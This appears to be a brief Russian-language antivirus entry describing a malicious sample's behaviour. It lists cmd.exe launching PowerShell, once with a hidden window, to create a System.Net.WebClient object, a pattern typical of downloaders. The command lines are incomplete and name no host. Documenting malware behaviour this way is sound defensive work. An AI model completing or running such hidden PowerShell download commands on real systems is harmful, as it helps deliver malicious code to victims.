Техническая информация
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /k powershell.exe $client = New-Object System.Net.WebClient; $client;
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /k powershell.exe $client = New-Object System.Net.WebClient; $client;' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $client = New-Object System.Net.WebClient; $client;
